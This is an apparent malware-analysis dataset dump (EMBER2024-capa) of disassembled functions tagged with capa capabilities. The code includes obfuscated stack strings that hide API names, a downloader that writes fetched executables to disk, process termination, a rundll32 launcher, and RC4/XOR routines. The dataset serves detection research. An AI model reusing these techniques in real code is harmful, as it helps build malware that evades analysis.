joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f373
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x14], 0x56
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x63
mov byte [ebp - 8], 0
lea eax, [ebp - 0x14]
push eax
push 0x10023f48
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx + 0x1ac]
call fcn.10010b25
add eax, 1
mov dword [ebp - 0x1c], eax
push 4
push 0x1000
mov edx, dword [ebp - 0x1c]
push edx
push 0
call dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov byte [eax], 0x73
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 0x1ac]
call fcn.10010b14
push eax
mov eax, dword [ebp - 0x18]
add eax, 1
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov ecx, dword [ebp - 0x20]
call fcn.1000de40
push 0x8000
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esp, ebp
pop ebp
ret

Function at 0x1000fa27
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x62
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x55
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x6b
mov byte [ebp - 0xc], 0
lea eax, [ebp - 0x18]
push eax
push 0x10023f68
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
call dword [0x10025e08]
test eax, eax
jne 0x1000fa8b
jmp 0x1000faed
call dword [0x10025e68]
mov ecx, dword [ebp + 0xc]
push ecx
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000fae7
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 4]
mov ecx, dword [ebp - 8]
push ecx
push 1
call dword [0x10025e10]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [0x10025e14]
mov esp, ebp
pop ebp
ret 8
Function at 0x1000faf3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x62
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x6b
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x20]
push eax
push 0x10023f78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
call dword [0x10025e08]
test eax, eax
jne 0x1000fb5a
jmp 0x1000fbfa
push 1
call dword [0x10025e04]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1000fb76
call dword [0x10025e14]
jmp 0x1000fbfa
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
add eax, 1
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov byte [edx], 0x76
mov eax, dword [ebp - 0xc]
sub eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
add edx, 1
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [0x10025e14]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov ecx, dword [ebp - 0x30]
call fcn.1000de40
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10011d59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov byte [ebp - 0x34], 0x48
mov byte [ebp - 0x33], 0x41
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x44
mov byte [ebp - 0x30], 0x77
mov byte [ebp - 0x2f], 0x41
mov byte [ebp - 0x2e], 0x52
mov byte [ebp - 0x2d], 0x45
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x45
mov byte [ebp - 0x29], 0x53
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x52
mov byte [ebp - 0x26], 0x49
mov byte [ebp - 0x25], 0x50
mov byte [ebp - 0x24], 0x54
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x6d
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x4e
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x50
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x52
mov byte [ebp - 8], 0x5c
mov byte [ebp - 7], 0x30
mov byte [ebp - 6], 0
mov dword [ebp - 0x3c], 4
mov dword [ebp - 4], 4
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 0x80000002
call dword [0x10025d30]
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push str.MHz
mov edx, dword [ebp - 0x40]
push edx
call dword [0x10025d34]
mov eax, dword [ebp - 0x40]
push eax
call dword [0x10025cc4]
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x100126f7
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov dword [ebp - 0x1b0], 0xffffffff
mov byte [ebp - 0x334], 0x66
mov byte [ebp - 0x246], 0
mov dword [ebp - 0x330], 0x9c
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10011ec6
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x1ac]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x338], 0x10
lea ecx, [ebp - 0x338]
push ecx
lea edx, [ebp - 0x1ac]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [0x10025ecc]
push 4
lea edx, [ebp - 0x1a8]
push edx
lea eax, [ebp - 0x27c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x32
lea ecx, [ebp - 0x100]
push ecx
lea edx, [ebp - 0x278]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.10011d59
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x19c], 0x9c
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x198], 5
jne 0x100127fa
cmp dword [ebp - 0x194], 0
jne 0x100127fa
push 0x100243e0
lea ecx, [ebp - 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10012823
lea edx, [ebp - 0x35c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x348]
push eax
push 0x100243e4
lea ecx, [ebp - 0x290]
push ecx
call dword [0x10025e7c]
add esp, 0xc
call fcn.10011e6a
mov byte [ebp - 0x246], al
call fcn.1001208c
push eax
lea edx, [ebp - 0x200]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x244], eax
push 0x20
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10011ff7
add esp, 0xc
push 0x20
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10011f62
add esp, 0xc
push 0x184
lea edx, [ebp - 0x334]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10003376
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1b0]
mov esp, ebp
pop ebp
ret
Function at 0x100131fc
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
push ebx
push esi
push edi
mov byte [ebp - 0xa0], 0x53
mov byte [ebp - 0x9f], 0x6c
mov byte [ebp - 0x9e], 0x65
mov byte [ebp - 0x9d], 0x65
mov byte [ebp - 0x9c], 0x70
mov byte [ebp - 0x9b], 0
lea eax, [ebp - 0xa0]
push eax
push 0x100244a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa4], eax
push 0x104
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
push 0x10026fb8
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x104
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
push 0x10026fb8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0xc
push 0x10013434
push 0x10026fb8
call dword [0x10025cd4]
mov dword [0x10026fb4], eax
cmp dword [0x10026fb4], 0
jne 0x100132a6
jmp 0x100133d9
call dword [sym.imp.KERNEL32.dll_FreeConsole]
nop
nop
nop
nop
nop
push 1
push 0
push 2
call fcn.100133e0
add esp, 0xc
push 0
push 0
push 4
call fcn.100133e0
add esp, 0xc
push 0x10026fb8
call fcn.100084ae
add esp, 4
mov dword [0x10026eac], eax
mov dword [ebp - 0x98], 0x94
lea edx, [ebp - 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 6
jae 0x1001337b
push 0
push 0
push 0
push 0x10026fb8
push fcn.10012c47
push 0
push 0
call fcn.10014727
add esp, 0x1c
mov dword [ebp - 0xa8], eax
push 0x64
call dword [ebp - 0xa4]
cmp dword [0x100270bc], 3
je 0x1001333b
cmp dword [0x100270bc], 1
jne 0x10013321
push 0xffffffffffffffff
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10026eac], 0x120
jne 0x10013379
mov edx, 1
test edx, edx
je 0x10013379
push 0x2710
call dword [ebp - 0xa4]
jmp 0x10013363
jmp 0x100133d9
push 0x10026fb8
push 0x100244b8
push 0x10026eb0
call dword [0x10025e7c]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2ac]
push eax
mov ecx, dword [0x10026ea0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10026fb8
lea edx, [ebp - 0x2ac]
push edx
push str.rundll32.exe__s_CodeMain__s
lea eax, [ebp - 0x1a8]
push eax
call dword [0x10025e7c]
add esp, 0x10
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.1001289a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10013e6b
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x14], 0x54
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x50
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push 0x10024714
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1f], 0
lea ecx, [ebp - 0x24]
push ecx
push 0x10024724
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0
push 1
push 0x10024734
call fcn.10014399
add esp, 8
mov dword [ebp - 0x1c], 0
jmp 0x10013f2d
mov edx, dword [ebp - 0x1c]
add edx, 4
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 0xc]
jae 0x10013f63
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10013f24
push 0
push 0x10024748
call fcn.10014399
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x64
call dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
call fcn.10013bc1
mov ecx, dword [ebp - 0x30]
call fcn.10013c38
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10014727
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0xc], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x10014690
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10014799
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x33
mov byte [ebp - 0x20], 0x32
mov byte [ebp - 0x1f], 0x46
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x28]
push eax
push 0x10024808
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x33
mov byte [ebp - 0x10], 0x32
mov byte [ebp - 0xf], 0x4e
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x78
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0
lea ecx, [ebp - 0x18]
push ecx
push 0x10024818
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov dword [ebp - 0x34], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x30], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x128
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call dword [ebp - 4]
test eax, eax
je 0x100148e0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x24
push ecx
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x100148ac
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
jmp 0x100148e3
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call dword [ebp - 8]
test eax, eax
je 0x100148e0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x24
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x100148de
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
jmp 0x100148e3
jmp 0x100148ac
mov eax, dword [ebp - 0x34]
mov esp, ebp
pop ebp
ret

Function at 0x10014b2d
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push 0x9c
push 0
lea eax, [ebp - 0x9c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x9c], 0x9c
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10014b86
mov dword [ebp - 0x9c], 0x94
lea edx, [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10014b86
xor eax, eax
jmp 0x10014ba4
cmp dword [ebp - 0x98], 5
jne 0x10014b9f
cmp dword [ebp - 0x94], 0
jne 0x10014b9f
call fcn.1001494a
jmp 0x10014ba4
call fcn.100148e7
mov esp, ebp
pop ebp
ret
Function at 0x10014db9
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
mov byte [ebp - 0x18], 0x4d
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x7a
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x2f
mov byte [ebp - 0x10], 0x34
mov byte [ebp - 0xf], 0x2e
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [0x10025ea0]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
jne 0x10014e3c
xor al, al
jmp 0x10014f4f
push 0
push 0x80000000
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x41c]
push edx
call dword [0x10025ea4]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10014e68
xor al, al
jmp 0x10014f4f
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffff
je 0x10014f2f
push 0x400
push 0
lea ecx, [ebp - 0x418]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x10025e9c]
cmp dword [ebp - 8], 0
je 0x10014eea
mov edx, dword [ebp - 0x418]
and edx, 0xffff
cmp edx, 0x5a4d
je 0x10014eea
mov dword [ebp - 4], 0
jmp 0x10014f22
mov dword [ebp - 8], 0
push 0
lea eax, [ebp - 0x420]
push eax
mov ecx, dword [ebp - 0x428]
push ecx
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x428], 0
ja 0x10014e94
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [0x10025e98]
mov eax, dword [ebp - 0x41c]
push eax
call dword [0x10025e98]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x403a85
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
mov edi, dword [0x2919327c]
mov ecx, edi
xor ebx, ebx
xor esi, esi
call fcn.0040e3f2
mov ecx, eax
xor edx, edx
mov eax, esi
div ecx
mov dword [ebp + esi*4 - 0x410], esi
inc esi
movzx eax, byte [edx + edi]
mov dword [ebp + esi*4 - 0x814], eax
cmp esi, 0x100
jl 0x403aa4
xor edx, edx
mov ecx, dword [ebp + edx - 0x810]
lea eax, [ebp + edx - 0x410]
mov esi, dword [eax]
add ecx, esi
add ebx, ecx
and ebx, 0x800000ff
jns 0x403aeb
dec ebx
or ebx, 0xffffff00
inc ebx
lea ecx, [ebp + ebx*4 - 0x410]
mov edi, dword [ecx]
add edx, 4
mov dword [eax], edi
mov dword [ecx], esi
cmp edx, 0x400
jl 0x403ac7
mov ecx, dword [ebp + 8]
call fcn.0040e3f2
mov ebx, eax
lea eax, [ebx + 1]
push eax
call dword [0x28f8f010]
xor esi, esi
xor edi, edi
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], esi
cmp ebx, esi
jle 0x403bc1
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
sub dword [ebp - 4], ecx
mov dword [ebp - 0xc], ecx
inc esi
and esi, 0x800000ff
jns 0x403b47
dec esi
or esi, 0xffffff00
inc esi
lea eax, [ebp + esi*4 - 0x410]
mov ecx, dword [eax]
add edi, ecx
and edi, 0x800000ff
jns 0x403b62
dec edi
or edi, 0xffffff00
inc edi
lea edx, [ebp + edi*4 - 0x410]
mov ebx, dword [edx]
mov dword [eax], ebx
mov dword [edx], ecx
mov eax, dword [eax]
add eax, ecx
and eax, 0x800000ff
jns 0x403b81
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0xc]
mov cl, byte [edx]
movzx ebx, cl
lea eax, [ebp + eax*4 - 0x410]
cmp dword [eax], ebx
jne 0x403b9c
mov eax, dword [ebp - 4]
mov byte [eax + edx], cl
jmp 0x403ba6
mov al, byte [eax]
xor al, cl
mov ecx, dword [ebp - 4]
mov byte [ecx + edx], al
inc dword [ebp - 8]
mov ecx, dword [ebp + 8]
inc edx
mov dword [ebp - 0xc], edx
call fcn.0040e3f2
cmp dword [ebp - 8], eax
jl 0x403b36
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
pop edi
mov byte [eax + ecx], 0
mov ecx, dword [ebp + 0xc]
pop esi
mov dword [ecx], eax
pop ebx
leave
ret

Function at 0x404fa3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00405532
add esp, 0x10
test eax, eax
jne 0x404fc3
xor eax, eax
inc eax
jmp 0x405059
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x405056
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x405056
push dword [ebp + 8]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call fcn.00405532
add esp, 0x10
test eax, eax
je 0x404fbb
cmp dword [edi], 0x4550
jne 0x405056
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x405056
movzx eax, word [esi + 0x46]
test ax, ax
je 0x405056
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040e38d
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x40502b
push 3
jmp 0x405058
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00405532
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x405059
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40e400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push 0x28f8fbe1
mov esi, edi
call 0x40f650
push dword [0x291931f8]
lea esi, [ebp - 0x10]
call 0x40f650
lea eax, [ebp - 0x24]
push eax
call dword [0x29193704]
mov ecx, dword [ebp - 0x16]
and dword [ebp - 4], 0
imul ecx, ecx, 5
cmp dword [ebp + 8], 0
mov word [0x291935d0], cx
jle 0x40e492
movzx esi, cx
push ebx
mov eax, esi
shr eax, 2
xor eax, esi
shr eax, 1
xor eax, esi
shr eax, 2
xor eax, esi
and eax, 1
mov dword [0x291935d4], eax
shl eax, 0xf
shr cx, 1
or cx, ax
movzx esi, cx
xor edx, edx
push 0xb
pop ebx
mov eax, esi
div ebx
mov eax, dword [ebp - 0x10]
mov ebx, dword [edi]
mov dl, byte [edx + eax]
mov eax, dword [ebp - 4]
mov byte [eax + ebx], dl
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp + 8]
jl 0x40e446
mov word [0x291935d0], cx
pop ebx
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0x10]
call fcn.004022ef
mov eax, edi
pop esi
leave
ret

Function at 0x40e970
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [0x29193798]
test ecx, ecx
jne 0x40e983
xor eax, eax
leave
ret
